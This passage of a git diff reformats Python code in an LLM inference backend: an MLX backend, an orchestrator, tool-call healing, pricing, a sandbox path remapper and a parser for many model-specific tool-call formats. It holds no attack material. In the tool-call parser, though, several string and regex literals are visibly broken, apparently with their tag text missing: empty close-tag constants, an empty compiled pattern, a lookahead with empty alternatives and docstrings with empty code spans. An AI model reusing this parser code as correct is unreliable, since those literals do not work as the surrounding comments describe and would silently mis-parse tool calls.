vlm_kwargs["logits_processors"] = _vlm_processors elif _rep_active: vlm_kwargs["repetition_penalty"] = float(repetition_penalty) @@ -953,7 +985,10 @@ class MLXInferenceBackend: # Hold the generation lock AND the request-scoped adapter state for the # whole stream so Base-vs-LoRA compare mode honors use_adapter and the # wrapper tree is restored on completion, cancellation, or close. - with self._generation_lock, _temporary_mlx_adapter_state(self._model, _adapter_state): + with ( + self._generation_lock, + _temporary_mlx_adapter_state(self._model, _adapter_state), + ): final_response = None try: # Emit any prefilled block before the first token so the @@ -970,7 +1005,11 @@ class MLXInferenceBackend: **vlm_kwargs, ): final_response = response - token_text = response.text if hasattr(response, "text") else str(response) + token_text = ( + response.text + if hasattr(response, "text") + else str(response) + ) cumulative += token_text yield cumulative if cancel_event and cancel_event.is_set(): diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py index eaa474d9b8..e9e7e524a3 100644 --- a/studio/backend/core/inference/orchestrator.py +++ b/studio/backend/core/inference/orchestrator.py @@ -137,7 +137,9 @@ class InferenceOrchestrator: atexit.register(self._cleanup) logger.info("InferenceOrchestrator initialized (subprocess mode)") - threading.Thread(target = self._fetch_top_models, daemon = True, name = "top-models").start() + threading.Thread( + target = self._fetch_top_models, daemon = True, name = "top-models" + ).start() # ------------------------------------------------------------------ # Default models (top GGUFs fetched dynamically from HF) @@ -175,12 +177,14 @@ class InferenceOrchestrator: if resp.status_code == 200: models = resp.json() # Top 40 GGUFs (deep pool for frontend infinite scroll) - gguf_ids = [m["id"] for m in models if m.get("id", "").upper().endswith("-GGUF")][ - :40 - ] + gguf_ids = [ + m["id"] for m in models if m.get("id", "").upper().endswith("-GGUF") + ][:40] # Top 40 non-GGUF hub models hub_ids = [ - m["id"] for m in models if not m.get("id", "").upper().endswith("-GGUF") + m["id"] + for m in models + if not m.get("id", "").upper().endswith("-GGUF") ][:40] if gguf_ids: self._top_gguf_cache = gguf_ids @@ -361,7 +365,8 @@ class InferenceOrchestrator: "Try a smaller model, lower context length, or close other GPU-heavy apps." ) return ( - f"{message}{suffix} " f"Details: pid={pid}, signal={sig_name}, exitcode={exitcode}." + f"{message}{suffix} " + f"Details: pid={pid}, signal={sig_name}, exitcode={exitcode}." ) return f"{message} Details: pid={pid}, exitcode={exitcode}." @@ -444,7 +449,8 @@ class InferenceOrchestrator: ) raise RuntimeError( - f"Timeout waiting for '{expected_type}' response " f"(no activity for {timeout}s)" + f"Timeout waiting for '{expected_type}' response " + f"(no activity for {timeout}s)" ) def _drain_queue(self) -> list: @@ -555,7 +561,10 @@ class InferenceOrchestrator: initial_proc = self._proc initial_resp_queue = self._resp_queue while True: - if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue: + if ( + self._proc is not initial_proc + or self._resp_queue is not initial_resp_queue + ): yield GenStreamError( f"Error: {self._subprocess_crash_message(crash_context)}", public = True, @@ -622,7 +631,10 @@ class InferenceOrchestrator: # unload_model's _wait_response sees it -- hanging the unload 300s. if self._unload_pending: return False - if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive(): + if ( + self._dispatcher_thread is not None + and self._dispatcher_thread.is_alive() + ): return False self._dispatcher_stop.clear() @@ -690,7 +702,9 @@ class InferenceOrchestrator: rtype, ) except Exception: - logger.exception("Inference dispatcher: failed to route a response; continuing") + logger.exception( + "Inference dispatcher: failed to route a response; continuing" + ) continue def _generate_dispatched( @@ -720,7 +734,9 @@ class InferenceOrchestrator: GPU work stays serialized; this only avoids orchestrator lock contention. """ if not self._ensure_subprocess_alive(): - yield GenStreamError("Error: Inference subprocess is not running", public = True) + yield GenStreamError( + "Error: Inference subprocess is not running", public = True + ) return if not self.active_model_name: @@ -786,7 +802,8 @@ class InferenceOrchestrator: # bail when the active model changed or the dispatcher died: a mailbox with no # dispatcher to route gen_done/gen_error hangs the compare stream. dispatcher_alive = ( - self._dispatcher_thread is not None and self._dispatcher_thread.is_alive() + self._dispatcher_thread is not None + and self._dispatcher_thread.is_alive() ) unloading = ( self._unload_pending @@ -797,7 +814,9 @@ class InferenceOrchestrator: self._mailboxes[request_id] = mailbox # When bailing without a mailbox, note whether any OTHER compare request still # routes through the dispatcher; if none and this call started it, stop it below. - orphaned_dispatcher = unloading and not dispatcher_preexisting and not self._mailboxes + orphaned_dispatcher = ( + unloading and not dispatcher_preexisting and not self._mailboxes + ) if unloading: # A racing unload can pass its _wait_dispatcher_idle() while the dispatcher was # stopped, then set _unload_pending. The one we just started would otherwise @@ -919,11 +938,15 @@ class InferenceOrchestrator: self._send_cmd(cmd) deadline = None if timeout is None else time.monotonic() + timeout while deadline is None or time.monotonic() < deadline: - remaining = 1.0 if deadline is None else max(0.1, deadline - time.monotonic()) + remaining = ( + 1.0 if deadline is None else max(0.1, deadline - time.monotonic()) + ) resp = self._read_resp(timeout = min(remaining, 1.0)) if resp is None: if not self._ensure_subprocess_alive(): - raise RuntimeError(self._subprocess_crash_message("sharing chat turn")) + raise RuntimeError( + self._subprocess_crash_message("sharing chat turn") + ) continue rtype = resp.get("type", "") @@ -1148,13 +1171,21 @@ class InferenceOrchestrator: # without re-entering the subprocess. _tpl_info = model_info.get("chat_template_info") if isinstance(_tpl_info, dict): - self.models[self.active_model_name]["chat_template_info"] = _tpl_info + self.models[self.active_model_name]["chat_template_info"] = ( + _tpl_info + ) self.loading_models.discard(model_name) - logger.info("Model '%s' loaded successfully in subprocess", model_name) + logger.info( + "Model '%s' loaded successfully in subprocess", model_name + ) return True else: # Worker reports failures (consent gate included) under "message". - error = resp.get("message") or resp.get("error") or "Failed to load model" + error = ( + resp.get("message") + or resp.get("error") + or "Failed to load model" + ) self.loading_models.discard(model_name) self.active_model_name = None self.models.clear() @@ -1164,7 +1195,10 @@ class InferenceOrchestrator: self.loading_models.discard(model_name) from utils.transformers_version import SidecarSwapInProgress - if isinstance(exc, SidecarSwapInProgress) and self._ensure_subprocess_alive(): + if ( + isinstance(exc, SidecarSwapInProgress) + and self._ensure_subprocess_alive() + ): # Raised before the old worker was torn down: the previous model # is still live, so keep the mirrors (clearing them would let the # installer treat the worker as inactive and kill it unreported). @@ -1466,7 +1500,10 @@ class InferenceOrchestrator: try: close() except Exception: - logger.debug("failed to close errored generation stream", exc_info = True) + logger.debug( + "failed to close errored generation stream", + exc_info = True, + ) initial = list(messages) if system_prompt: @@ -1550,7 +1587,9 @@ class InferenceOrchestrator: readers don't consume each other's tokens off the shared resp_queue. """ if not self._ensure_subprocess_alive(): - yield GenStreamError("Error: Inference subprocess is not running", public = True) + yield GenStreamError( + "Error: Inference subprocess is not running", public = True + ) return if not self.active_model_name: @@ -1677,7 +1716,9 @@ class InferenceOrchestrator: if resp is None: if not self._ensure_subprocess_alive(): - raise RuntimeError(self._subprocess_crash_message("audio generation")) + raise RuntimeError( + self._subprocess_crash_message("audio generation") + ) continue rtype = resp.get("type", "") @@ -1756,7 +1797,9 @@ class InferenceOrchestrator: ) -> Generator[str, None, None]: """Shared inner logic for audio input generation (Whisper + ASR).""" if not self._ensure_subprocess_alive(): - yield GenStreamError("Error: Inference subprocess is not running", public = True) + yield GenStreamError( + "Error: Inference subprocess is not running", public = True + ) return if not self.active_model_name: yield GenStreamError("Error: No active model", public = True) @@ -1774,7 +1817,9 @@ class InferenceOrchestrator: # numpy array -> list for mp.Queue serialization audio_data = ( - audio_array.tolist() if hasattr(audio_array, "tolist") else list(audio_array) + audio_array.tolist() + if hasattr(audio_array, "tolist") + else list(audio_array) ) cmd = { diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py index e6da0a22b0..2dd18272cd 100644 --- a/studio/backend/core/inference/passthrough_healing.py +++ b/studio/backend/core/inference/passthrough_healing.py @@ -181,7 +181,9 @@ def _promote( name = function.get("name") if isinstance(function, dict) else None if name not in allowed_tools: continue - arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas) + arguments = _coerce_promoted_arguments( + function.get("arguments"), name, tool_schemas + ) if arguments is None: continue promoted.append( @@ -218,13 +220,17 @@ def heal_openai_message_events( content = msg.get("content") if not isinstance(content, str) or not _has_heal_signal(content): return None - parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True) + parsed, spans = parse_tool_calls_from_text( + content, allow_incomplete = True, with_spans = True + ) tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None events: list = [] pos = 0 call_count = 0 for call, (start, end) in zip(parsed, spans): - promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas) + promoted = _promote( + [call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas + ) if promoted: if content[pos:start]: events.append(("text", content[pos:start])) @@ -545,7 +551,10 @@ def nudge_messages(data: Any, allowed_tools: set) -> list: is byte-identical and llama-server's slot/prefix cache is reused (same shape as the enable-tools loop's reprompt). """ - tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool" + tool_hint = ( + " or ".join(f"`{name}`" for name in sorted(allowed_tools)) + or "an available tool" + ) return [ {"role": "assistant", "content": _last_assistant_text(data)}, { diff --git a/studio/backend/core/inference/pricing.py b/studio/backend/core/inference/pricing.py index 30fec47723..54743123a1 100644 --- a/studio/backend/core/inference/pricing.py +++ b/studio/backend/core/inference/pricing.py @@ -103,7 +103,9 @@ def _lookup(provider: str, model: str) -> Optional[dict[str, float]]: return None -def calculate_cost(provider: str, model: str, usage: dict[str, Any]) -> dict[str, float]: +def calculate_cost( + provider: str, model: str, usage: dict[str, Any] +) -> dict[str, float]: """Return a per-turn USD cost breakdown (per-bucket + total). Unknown model -> ``priced`` False and USD fields 0.0 (token counts still report). @@ -131,7 +133,8 @@ def calculate_cost(provider: str, model: str, usage: dict[str, Any]) -> dict[str # Clamp >=0 so corrupted payloads can't produce a negative bill. cache_creation = max(0, int(usage.get("cache_creation_input_tokens") or 0)) cache_read_native_present = ( - "cache_read_input_tokens" in usage and usage.get("cache_read_input_tokens") is not None + "cache_read_input_tokens" in usage + and usage.get("cache_read_input_tokens") is not None ) cache_read = max(0, int(usage.get("cache_read_input_tokens") or 0)) # Fall back to mirrored prompt_tokens_details only when native @@ -214,10 +217,14 @@ def calculate_cost(provider: str, model: str, usage: dict[str, Any]) -> dict[str if cc_5m + cc_1h == 0 and cache_creation > 0: # No breakdown -- assume default 5m pool. cc_5m = cache_creation - out["cache_write_usd"] = (cc_5m / 1_000_000.0) * base * ANTHROPIC_CACHE_5M_WRITE_MULT + ( + out["cache_write_usd"] = ( + cc_5m / 1_000_000.0 + ) * base * ANTHROPIC_CACHE_5M_WRITE_MULT + ( cc_1h / 1_000_000.0 ) * base * ANTHROPIC_CACHE_1H_WRITE_MULT - out["cache_read_usd"] = (cache_read / 1_000_000.0) * base * ANTHROPIC_CACHE_READ_MULT + out["cache_read_usd"] = ( + (cache_read / 1_000_000.0) * base * ANTHROPIC_CACHE_READ_MULT + ) # Server-tool surcharges. srv = usage.get("server_tool_use") or {} if isinstance(srv, dict): @@ -234,7 +241,9 @@ def calculate_cost(provider: str, model: str, usage: dict[str, Any]) -> dict[str if cache_read > 0: non_cached_input = max(0, input_tokens - cache_read) out["input_usd"] = (non_cached_input / 1_000_000.0) * base - out["cache_read_usd"] = (cache_read / 1_000_000.0) * base * OPENAI_CACHE_READ_MULT + out["cache_read_usd"] = ( + (cache_read / 1_000_000.0) * base * OPENAI_CACHE_READ_MULT + ) # OpenAI server-tool surcharges arrive under `openai_tool_use` # (normalised by the SSE finaliser from output items). srv = usage.get("openai_tool_use") or {} diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py index 40731de57b..3bbc0d87ec 100644 --- a/studio/backend/core/inference/safetensors_agentic.py +++ b/studio/backend/core/inference/safetensors_agentic.py @@ -341,7 +341,9 @@ def _reprompt_intent_text(text: str, *, reasoning_prefilled: bool = False) -> st reasoning_text = "".join(reasoning).strip() if visible_text: return visible_text - return "\n".join(part for part in (prefilled_reasoning, reasoning_text) if part).strip() + return "\n".join( + part for part in (prefilled_reasoning, reasoning_text) if part + ).strip() def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set]) -> bool: @@ -404,7 +406,9 @@ def _detect_render_html_tool_start(content: str) -> bool: # first call through the parser (it reads top-level names). arr_calls = parse_tool_calls_from_text(content[mt:]) if arr_calls: - candidates.append((mt, (arr_calls[0].get("function") or {}).get("name") or "")) + candidates.append( + (mt, (arr_calls[0].get("function") or {}).get("name") or "") + ) for rm in _REHEARSAL_RENDER_NAME_RE.finditer(content): if not _in_think(rm.start(1)): candidates.append((rm.start(1), rm.group(1))) @@ -532,7 +536,9 @@ def run_safetensors_tool_loop( # off never prompts, so (like auto) it must not lose first-pass retrieval # even if a direct caller passes a stale confirm_tool_calls flag. _skip_autoinject = ( - confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off") + confirm_tool_calls + and not bypass_permissions + and permission_mode not in ("auto", "off") ) _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope) if _auto: @@ -570,7 +576,9 @@ def run_safetensors_tool_loop( def _tool_succeeded(tool_name: str) -> bool: key_prefix = f"{tool_name}:" return any( - record.executed and not record.is_error and record.key.startswith(key_prefix) + record.executed + and not record.is_error + and record.key.startswith(key_prefix) for record in tool_controller.history ) @@ -599,10 +607,14 @@ def run_safetensors_tool_loop( final_attempt_done = True active_tools = [] - tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools)) + tool_protocol_active = not final_attempt_done and ( + unrestricted_tools or bool(active_tools) + ) tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else () # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call. - _enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools)) + _enabled_tool_names = ( + None if unrestricted_tools else set(_active_tool_names(active_tools)) + ) detect_state = _state_buffering content_buffer = "" @@ -717,7 +729,10 @@ def run_safetensors_tool_loop( # Earliest genuine boundary: bare [ARGS] in prose is skipped; a real NAME[ARGS] is # pulled back to NAME so the name is not flushed. signal_pos = _earliest_tool_signal( - candidate, tool_xml_signals, _detect_tools, unrestricted = unrestricted_tools + candidate, + tool_xml_signals, + _detect_tools, + unrestricted = unrestricted_tools, ) if signal_pos >= 0: before_tool = candidate[:signal_pos] @@ -818,7 +833,9 @@ def run_safetensors_tool_loop( not is_match and not is_prefix and tool_protocol_active - and _is_rehearsal_prefix(stripped, _detect_tools, unrestricted = unrestricted_tools) + and _is_rehearsal_prefix( + stripped, _detect_tools, unrestricted = unrestricted_tools + ) ): is_prefix = True is_rehearsal_prefix = True @@ -920,7 +937,9 @@ def run_safetensors_tool_loop( "text": content_accum, } _live_args_streamed_upto = len(content_accum) - elif is_prefix and (is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS): + elif is_prefix and ( + is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS + ): # A rehearsal prefix is self-bounded; the buffer cap must not cut long MCP names short. continue else: @@ -976,7 +995,9 @@ def run_safetensors_tool_loop( if content_buffer: cumulative_display += content_buffer cleaned = strip_tool_markup( - cumulative_display, final = True, enabled_tool_names = _enabled_tool_names + cumulative_display, + final = True, + enabled_tool_names = _enabled_tool_names, ) if len(cleaned) > len(last_emitted): last_emitted = cleaned @@ -1020,7 +1041,10 @@ def run_safetensors_tool_loop( len(intent_text), ) conversation.append({"role": "assistant", "content": intent_text}) - tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool" + tool_hint = ( + " or ".join(_active_tool_names(active_tools)) + or "an available tool" + ) conversation.append( { "role": "user", @@ -1035,7 +1059,9 @@ def run_safetensors_tool_loop( # Final answer. If a literal tool marker in prose was buffered but # never parsed as a call, restore the raw text so the prose surfaces # in full; route-level cleanup still applies the Auto-Heal policy. - if content_accum and any(sig in content_accum for sig in tool_xml_signals): + if content_accum and any( + sig in content_accum for sig in tool_xml_signals + ): yield {"type": "content", "text": content_accum} else: # Turn ended as a plain answer (no [ARGS] followed): the held rehearsal tail is real @@ -1087,7 +1113,9 @@ def run_safetensors_tool_loop( # Drained bare-JSON call that didn't parse: with Auto-Heal on, drop the fragment # (plain JSON answers are left untouched); off keeps it visible per the strict contract. if tool_protocol_active and auto_heal_tool_calls: - _drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names) + _drain_text = strip_leading_bare_json_call( + _drain_text, _enabled_tool_names + ) if _drain_text: yield {"type": "content", "text": _drain_text} if provisional_render_html_started and not provisional_resolved: @@ -1112,7 +1140,9 @@ def run_safetensors_tool_loop( next_call_id += len(tool_calls) # Strip a leading bare-JSON call from the kept content so it isn't replayed as text or # next-turn history (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers. - content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names) + content_text = strip_leading_bare_json_call( + content_text, _enabled_tool_names + ) if final_attempt_done: # Final-answer turn re-called a tool -- stop the loop. @@ -1187,14 +1217,18 @@ def run_safetensors_tool_loop( conversation.append(assistant_msg) assistant_appended = True else: - assistant_msg.setdefault("tool_calls", []).append(decision.as_assistant_tool_call()) + assistant_msg.setdefault("tool_calls", []).append( + decision.as_assistant_tool_call() + ) # Bypass wins over the confirm gate at the loop level too, so a # direct internal caller passing both flags never prompts. In # "auto" mode only calls detected as potentially unsafe pause. # "off" never prompts (sandbox stays on). needs_confirm = ( - bool(confirm_tool_calls) and not bypass_permissions and permission_mode != "off" + bool(confirm_tool_calls) + and not bypass_permissions + and permission_mode != "off" ) if needs_confirm and permission_mode == "auto": from core.inference.tools import is_potentially_unsafe_tool_call @@ -1202,7 +1236,9 @@ def run_safetensors_tool_loop( decision.tool_name, decision.arguments ) approval_id = new_approval_id() if needs_confirm else "" - decision_slot = begin_tool_decision(session_id, approval_id) if needs_confirm else None + decision_slot = ( + begin_tool_decision(session_id, approval_id) if needs_confirm else None + ) start_event = decision.tool_start_event() start_event["approval_id"] = approval_id start_event["awaiting_confirmation"] = needs_confirm @@ -1268,7 +1304,9 @@ def run_safetensors_tool_loop( ) if _accepts_output_callback(execute_tool): kwargs["output_callback"] = _output_callback - return execute_tool(_decision.tool_name, _decision.arguments, **kwargs) + return execute_tool( + _decision.tool_name, _decision.arguments, **kwargs + ) try: result = yield from stream_tool_execution( diff --git a/studio/backend/core/inference/sandbox_site/sitecustomize.py b/studio/backend/core/inference/sandbox_site/sitecustomize.py index 244fa95145..3264f4d234 100644 --- a/studio/backend/core/inference/sandbox_site/sitecustomize.py +++ b/studio/backend/core/inference/sandbox_site/sitecustomize.py @@ -225,7 +225,9 @@ def _remap(path, notify = True): for prefix in _PREFIXES + _CONDITIONAL_PREFIXES: # Heal only while the real prefix directory is absent, so a genuine host # mount / user directory at that prefix is never shadowed. - if (text == prefix or text.startswith(prefix + "/")) and not os.path.exists(prefix): + if (text == prefix or text.startswith(prefix + "/")) and not os.path.exists( + prefix + ): return _map_onto_cwd(prefix, text, notify = notify) return path diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py index 9b6b0a7773..7271598b8e 100644 --- a/studio/backend/core/inference/tool_call_parser.py +++ b/studio/backend/core/inference/tool_call_parser.py @@ -60,9 +60,7 @@ TOOL_XML_SIGNALS = ( # DeepSeek opener variants; shared by parse and strip so a parsed signal is always stripped. -_DEEPSEEK_OPEN_ALT = ( - r"tool▁calls▁begin|tool_calls_begin|tool calls begin|tool\\_calls\\_begin|tool▁calls" -) +_DEEPSEEK_OPEN_ALT = r"tool▁calls▁begin|tool_calls_begin|tool calls begin|tool\\_calls\\_begin|tool▁calls" _DEEPSEEK_OPEN_RE_SRC = r"<｜(?:" + _DEEPSEEK_OPEN_ALT + r")｜>" # Closed pairs only (mid-stream); _TOOL_ALL_PATS also eats unclosed tails at @@ -84,7 +82,9 @@ _TOOL_CLOSED_PATS = [ # DeepSeek R1 / V3 / V3.1: full envelope (any opener variant) ... end. re.compile(_DEEPSEEK_OPEN_RE_SRC + r".*?<｜tool▁calls▁end｜>", re.DOTALL), # Kimi K2: ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>``. - re.compile(r"<\|tool_calls_section_begin\|>.*?<\|tool_calls_section_end\|>", re.DOTALL), + re.compile( + r"<\|tool_calls_section_begin\|>.*?<\|tool_calls_section_end\|>", re.DOTALL + ), # Kimi K2 section-less closed call; else the catch-all below eats trailing prose to EOS. re.compile(r"<\|tool_call_begin\|>.*?<\|tool_call_end\|>", re.DOTALL), ] @@ -187,7 +187,10 @@ REPROMPT_MAX_CHARS = 2000 def is_short_intent_without_action(text: str) -> bool: stripped = text.strip() - return 0 < len(stripped) < REPROMPT_MAX_CHARS and INTENT_SIGNAL.search(stripped) is not None + return ( + 0 < len(stripped) < REPROMPT_MAX_CHARS + and INTENT_SIGNAL.search(stripped) is not None + ) def reprompt_to_act_message(tool_hint: str) -> str: @@ -264,7 +267,9 @@ _DEEPSEEK_R1_CLOSE_RE = re.compile(r"```[\s\r\n]*" + re.escape(_DEEPSEEK_CALL_EN # direct ````/```` (4.7 drops the newline, zero-arg calls close at once). # Name class ``[\w.\-]+`` keeps prose like ``not a call`` unparsed; # ``{`` stays with the Qwen JSON parser. -_GLM_TC_OPEN_RE = re.compile(r"\s*([\w.\-]+)\s*(?=\n||)") +_GLM_TC_OPEN_RE = re.compile( + r"\s*([\w.\-]+)\s*(?=\n||)" +) _GLM_TC_CLOSE = "" _GLM_ARG_KEY_OPEN = "" _GLM_ARG_KEY_CLOSE = "" @@ -432,7 +437,9 @@ def _strip_mistral_closed_calls(text: str) -> str: return "".join(out) -def _strip_gemma_wrapperless_calls(text: str, enabled_tool_names: Optional[set] = None) -> str: +def _strip_gemma_wrapperless_calls( + text: str, enabled_tool_names: Optional[set] = None +) -> str: """Strip closed wrapper-less Gemma ``call:NAME{...}`` calls with balanced brace scanning (nested arguments are removed whole). ``enabled_tool_names`` gates the strip like the parser gate: a disabled/example name stays visible; ``None`` @@ -450,7 +457,9 @@ def _strip_gemma_wrapperless_calls(text: str, enabled_tool_names: Optional[set] if not m: out.append(text[cursor:]) break - disabled = enabled_tool_names is not None and m.group(1) not in enabled_tool_names + disabled = ( + enabled_tool_names is not None and m.group(1) not in enabled_tool_names + ) brace = m.end() - 1 # _GEMMA_BARE_TC_RE consumes through the opening ``{`` # Same boundary scanner as the parser: strip exactly what it consumed. end = _gemma_body_brace_end(text, brace) @@ -475,7 +484,9 @@ _FUNC_CLOSE_TAG_RE = re.compile(r"") def _strip_function_xml_calls(text: str, *, final: bool) -> str: """Strip ```` calls by mirroring the parser: an opener inside an open ```` is data and each call closes at its first ```` that is not parameter data; ``final`` drops a trailing unclosed call.""" starts = [ - m for m in _TC_FUNC_START_RE.finditer(text) if not _inside_open_parameter(text, m.start()) + m + for m in _TC_FUNC_START_RE.finditer(text) + if not _inside_open_parameter(text, m.start()) ] if not starts: return text @@ -532,7 +543,11 @@ def _glm_value_close( j = ve + len(_GLM_ARG_VAL_CLOSE) while j < n and text[j] in " \t\r\n": j += 1 - if j >= n or text.startswith(_GLM_ARG_KEY_OPEN, j) or text.startswith(_GLM_TC_CLOSE, j): + if ( + j >= n + or text.startswith(_GLM_ARG_KEY_OPEN, j) + or text.startswith(_GLM_TC_CLOSE, j) + ): while qpos < ve: ch = text[qpos] if quote: @@ -541,7 +556,9 @@ def _glm_value_close( continue if ch == quote: quote = "" - elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())): + elif ch in "\"'" and ( + prev in ":{[(,=" or (ch == '"' and prev_raw.isspace()) + ): quote = ch if not ch.isspace(): prev = ch @@ -629,7 +646,9 @@ def strip_tool_markup( # Bare reasoning-rehearsal ``name[ARGS]{json}`` and the Mistral name form promote through # the shared balanced scan, so strip them the same way (any nesting depth removed whole). # The rehearsal arm is name-gated: an inactive ``foo[ARGS]{..}`` is prose and is kept. - seg = _tool_healing._strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names) + seg = _tool_healing._strip_bracket_tag_calls( + seg, enabled_tool_names = enabled_tool_names + ) if seg_final: # Markerless Gemma ``call:NAME{...}`` (name-gated, mirrors the parse gate); end-of-turn only. seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names) @@ -667,7 +686,11 @@ def has_tool_signal(text: str) -> bool: # DeepSeek/Kimi markers must parse as the OUTER call. Detect it opening before the first # marker so the pre-pass skips it. _EMBEDDED_MARKER_RE = re.compile( - _DEEPSEEK_OPEN_RE_SRC + "|" + re.escape(_KIMI_SECTION_BEGIN) + "|" + re.escape(_KIMI_CALL_BEGIN) + _DEEPSEEK_OPEN_RE_SRC + + "|" + + re.escape(_KIMI_SECTION_BEGIN) + + "|" + + re.escape(_KIMI_CALL_BEGIN) ) # Covers ```` and the attribute form. ``<|python_tag|>`` is Llama-3's # envelope too (built-in ``NAME.call(`` and custom ``{json}``), so a quoted DeepSeek/Kimi @@ -686,7 +709,9 @@ _OUTER_ENVELOPE_CLOSED_PATS = ( ) -def _marker_inside_leading_envelope(content: str, enabled_tool_names: Optional[set] = None) -> bool: +def _marker_inside_leading_envelope( + content: str, enabled_tool_names: Optional[set] = None +) -> bool: first_marker = _EMBEDDED_MARKER_RE.search(content) if first_marker is None: return False @@ -700,7 +725,9 @@ def _marker_inside_leading_envelope(content: str, enabled_tool_names: Optional[s end = _balanced_brace_end(content, i) if end is not None and i < first_marker.start(): name = _top_level_bare_json_name(content[i : end + 1]) - if name is not None and (enabled_tool_names is None or name in enabled_tool_names): + if name is not None and ( + enabled_tool_names is None or name in enabled_tool_names + ): # The closed leading call owns the turn: a marker inside it is argument # data, one after it a trailing example (same rule as the XML envelopes below). return True @@ -980,7 +1007,9 @@ def parse_tool_calls_from_text( while i < len(content) and content[i] in " \t\n\r": i += 1 # The guard guarantees a balanced leading value (object or array). - end = (_balanced_brace_end if content[i] == "{" else _balanced_bracket_end)(content, i) + end = (_balanced_brace_end if content[i] == "{" else _balanced_bracket_end)( + content, i + ) return parse_tool_calls_from_text( content[end + 1 :], id_offset = id_offset, @@ -1047,7 +1076,9 @@ def parse_tool_calls_from_text( ] pre_pass.sort(key = lambda pair: pair[0]) for _pos, parser in pre_pass: - calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete) + calls = parser( + content, id_offset = id_offset, allow_incomplete = allow_incomplete + ) if calls: return calls @@ -1127,7 +1158,9 @@ def parse_tool_calls_from_text( _parse_llama3_python_tag, # Llama-3 <|python_tag|> _parse_mistral_tool_calls, # Mistral [TOOL_CALLS] ): - calls = parser(fallback_content, id_offset = id_offset, allow_incomplete = allow_incomplete) + calls = parser( + fallback_content, id_offset = id_offset, allow_incomplete = allow_incomplete + ) if calls: return calls @@ -1164,7 +1197,9 @@ def _parse_tool_call_json( # Strict mode: a balanced JSON body that never closed its ```` # is a truncated call, not a finished one. Trailing prose after the close # is still tolerated (matches the GGUF strict path). - if not allow_incomplete and not content[end + 1 :].lstrip().startswith(""): + if not allow_incomplete and not content[end + 1 :].lstrip().startswith( + "" + ): continue try: obj = json.loads(content[brace_start : end + 1]) @@ -1258,7 +1293,9 @@ def _parse_function_xml( # group(1) is ````, group(2) is ````. func_name = fm.group(1) or fm.group(2) body_start = fm.end() - next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) + next_func = ( + func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) + ) # The call ends at the FIRST / not inside an open # parameter: a literal close in a code/search argument is skipped as data, and # prose after the real close isn't folded into the last argument (mirrors @@ -1297,7 +1334,9 @@ def _parse_function_xml( for pidx, pm in enumerate(param_starts): val_start = pm.end() next_param = ( - param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body) + param_starts[pidx + 1].start() + if pidx + 1 < len(param_starts) + else len(body) ) raw_val = body[val_start:next_param] if not _TC_PARAM_CLOSE_RE.search(raw_val): @@ -1483,7 +1522,11 @@ def _parse_llama3_python_tag( cursor = brace + end_offset continue name = obj.get("name") or obj.get("function") or "" - args = obj.get("parameters") if "parameters" in obj else obj.get("arguments", {}) + args = ( + obj.get("parameters") + if "parameters" in obj + else obj.get("arguments", {}) + ) # Skip rather than fabricate ``{"value": args}`` for a non-dict/non-string value. if isinstance(args, dict): args_str = json.dumps(args) @@ -1634,7 +1677,9 @@ def _parse_mistral_tool_calls( return out if content[k] == "[": - return _parse_mistral_array(content, k, id_offset, allow_incomplete = allow_incomplete) + return _parse_mistral_array( + content, k, id_offset, allow_incomplete = allow_incomplete + ) if content[k] == "{": # Pre-v11 single ``{"name":...}``; fall through without a ``name`` so v11+ still runs. @@ -2024,7 +2069,9 @@ def _top_level_bare_json_name(probe: str) -> Optional[str]: return function_value -def strip_leading_bare_json_call(text: str, enabled_tool_names: Optional[set] = None) -> str: +def strip_leading_bare_json_call( + text: str, enabled_tool_names: Optional[set] = None +) -> str: """Remove leading Llama-3.2 bare-JSON calls (including a ``;``-chained run) that ``strip_tool_markup`` misses; non-call text is unchanged and ``enabled_tool_names`` gates like the parser. Consuming the whole chain @@ -2124,7 +2171,11 @@ def _gemma_parse_value( close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN)) if close < 0: return text[i + len(_GEMMA_STR_BEGIN) :], len(text), False - return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END), True + return ( + text[i + len(_GEMMA_STR_BEGIN) : close], + close + len(_GEMMA_STR_END), + True, + ) if text[i] == "{": return _gemma_parse_mapping(text, i) if text[i] == "[": @@ -2279,7 +2330,9 @@ def _gemma_parse_stripped_body(body: str) -> dict[str, Any]: continue if ch == quote: quote = "" - elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())): + elif ch in "\"'" and ( + prev in ":{[(,=" or (ch == 